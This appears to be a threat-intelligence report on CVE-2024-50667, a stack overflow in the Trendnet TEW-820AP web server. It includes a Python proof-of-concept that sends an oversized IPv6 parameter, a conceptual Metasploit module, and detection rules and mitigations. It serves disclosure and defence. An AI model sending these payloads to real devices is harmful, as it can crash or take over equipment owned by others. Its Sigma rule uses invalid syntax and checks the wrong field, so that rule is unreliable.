CVE-2024-50667

Executive Summary

CVE-2024-50667 is a critical stack-based buffer overflow vulnerability (CWE-121) discovered in the boa httpd web server of the Trendnet TEW-820AP wireless access point, specifically in firmware version 1.01.B01. The flaw resides in three form handlers: /boafrm/formIPv6Addr, /boafrm/formIpv6Setup, and /boafrm/formDnsv6. The root cause is insufficient validation of IPv6 address input, allowing an unauthenticated, network-adjacent attacker to send a specially crafted HTTP POST request that overflows a stack buffer. Successful exploitation can lead to remote code execution (RCE) with the privileges of the boa process (typically root), enabling full device compromise. No official patch has been released by Trendnet as of this report. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full device compromise, access to all data.
• Integrity (I): High (H) – Attacker can modify firmware, configuration, or inject malicious code.
• Availability (A): High (H) – Attack can cause denial of service or complete device takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public PoC makes this a high-priority threat for any organization using the TEW-820AP.

Deep Dive & Mechanics

The vulnerability is a classic stack buffer overflow in the boa HTTP server. The formIPv6Addr, formIpv6Setup, and formDnsv6 CGI handlers process user-supplied IPv6 address parameters without proper length validation. When a POST request is sent with an overly long IPv6 address string, the data is copied into a fixed-size stack buffer, overwriting adjacent memory including the return address and other critical data.

Technical Flow:

1. The boa server receives an HTTP POST request to one of the vulnerable endpoints.
2. The handler extracts the IPv6 address parameter (e.g., ipv6addr).
3. The parameter value is passed to a function like strcpy() or sprintf() without bounds checking.
4. If the input exceeds the buffer size (e.g., 256 bytes), the stack is corrupted.
5. An attacker can control the overwritten return address to redirect execution to a shellcode payload.

Why it works: The boa server runs with root privileges on the embedded device, and the stack is executable in many IoT firmware configurations, making RCE straightforward.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void formIPv6Addr(void) {
    char buffer[256];
    char *ipv6 = get_cgi_var("ipv6addr");
    // No bounds check
    strcpy(buffer, ipv6);
    // ... process buffer
}

Patched Code (Hypothetical):

void formIPv6Addr(void) {
    char buffer[256];
    char *ipv6 = get_cgi_var("ipv6addr");
    // Safe copy with length check
    strncpy(buffer, ipv6, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The patch would replace strcpy with strncpy or use snprintf to limit the copy size. Since no official patch exists, this is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Trendnet TEW-820AP with firmware 1.01.B01
• Network access to the device's management interface (typically port 80)
• Python3 with requests library

Exploit PoC (Python):

import requests
import sys

target = sys.argv[1]  # e.g., http://192.168.1.1
payload = b"A" * 300  # Overflow buffer

# Exploit via formIPv6Addr
url = f"{target}/boafrm/formIPv6Addr"
data = {"ipv6addr": payload}
try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Sent payload. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Trendnet TEW-820AP Stack Overflow',
      'Description' => 'Exploits CVE-2024-50667',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2024-50667']],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/boafrm/formIPv6Addr',
      'vars_post' => { 'ipv6addr' => rand_text_alpha(300) }
    })
  end
end

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP POST requests to /boafrm/formIPv6Addr, /boafrm/formIpv6Setup, or /boafrm/formDnsv6 with unusually long ipv6addr parameters.
2. Check for device crashes or unexpected reboots.
3. Look for outbound connections from the device to unknown IPs after exploitation.

Honeypot Configuration:

• Deploy a low-interaction honeypot mimicking the TEW-820AP web interface.
• Log all POST requests to the vulnerable endpoints.
• Alert on payloads exceeding 256 bytes.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /boafrm/formIPv6Addr, /boafrm/formIpv6Setup, or /boafrm/formDnsv6 with ipv6addr parameter > 256 bytes.
• Repeated HTTP 500 errors from the device.
• Outbound connections from the device on unusual ports (e.g., 4444, 31337).

Host IOCs:

• Unexpected processes running on the device (e.g., /tmp/shell).
• Modified firmware or configuration files.
• Presence of shellcode in memory (detectable via memory forensics).

File IOCs:

• /tmp/*.sh or /tmp/*.bin files created after exploitation.
• Unusual entries in /var/log/messages.

Detection Engineering

YARA Rule

rule CVE_2024_50667_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-50667"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-50667"
    strings:
        $s1 = "ipv6addr=" ascii wide nocase
        $s2 = "/boafrm/formIPv6Addr" ascii wide nocase
        $s3 = "/boafrm/formIpv6Setup" ascii wide nocase
        $s4 = "/boafrm/formDnsv6" ascii wide nocase
        $payload = { 41 41 41 41 41 41 41 41 } // 'AAAAAAAA' overflow pattern
    condition:
        ($s1 or $s2 or $s3 or $s4) and #payload > 30
}

Sigma Rule

title: CVE-2024-50667 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests targeting vulnerable Trendnet TEW-820AP endpoints with oversized payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem:
            - '/boafrm/formIPv6Addr'
            - '/boafrm/formIpv6Setup'
            - '/boafrm/formDnsv6'
        cs-uri-query|contains: 'ipv6addr='
    condition: selection and |len(cs-uri-query) > 300
falsepositives:
    - Legitimate long IPv6 addresses (unlikely > 256 chars)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-50667 Trendnet TEW-820AP Stack Overflow Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/boafrm/formIPv6Addr";
    http_uri;
    content:"ipv6addr=";
    http_client_body;
    pcre:"/ipv6addr=[A-Za-z0-9%]{300,}/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-50667;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place TEW-820AP units on a separate VLAN with strict firewall rules blocking inbound HTTP from untrusted networks.
2. Disable remote management: If not required, disable the web interface or restrict access to trusted IPs only.
3. Monitor logs: Enable logging on the device and monitor for exploit attempts.

Long-term Fix:

• Vendor patch: Contact Trendnet for an official firmware update. As of now, no patch exists.
• Device replacement: Consider replacing the TEW-820AP with a supported, patched alternative.
• Network segmentation: Implement strict network segmentation for all IoT devices.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the device to filter oversized requests:

location /boafrm/ {
    if ($request_body ~* "ipv6addr=.{300,}") {
        return 403;
    }
    proxy_pass http://192.168.1.1;
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated: 2025-04-10